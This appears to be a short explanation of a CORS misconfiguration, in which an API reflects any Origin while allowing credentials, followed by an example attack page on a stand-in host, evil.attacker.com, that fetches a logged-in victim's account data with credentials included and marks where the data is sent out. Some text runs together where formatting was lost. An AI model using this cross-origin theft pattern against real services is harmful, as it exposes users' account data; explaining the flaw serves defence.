The API response includes:
Access-Control-Allow-Origin: [whatever the caller sent as Origin]
Access-Control-Allow-Credentials: true
The API uses session cookies for authentication. Users are logged in when they visit the app.
https://evil.attacker.comfetch(’https://api.target.com/api/account’, { credentials: ’include’ }).then(r => r.json()).then(data => { /* send data to attacker */ });evil.attacker.com while logged into target.comapi.target.com with the victim’s session cookie (because credentials: include).Origin: https://evil.attacker.com. The API reflects it: Access-Control-Allow-Origin: https://evil.attacker.com + Access-Control-Allow-Credentials: true.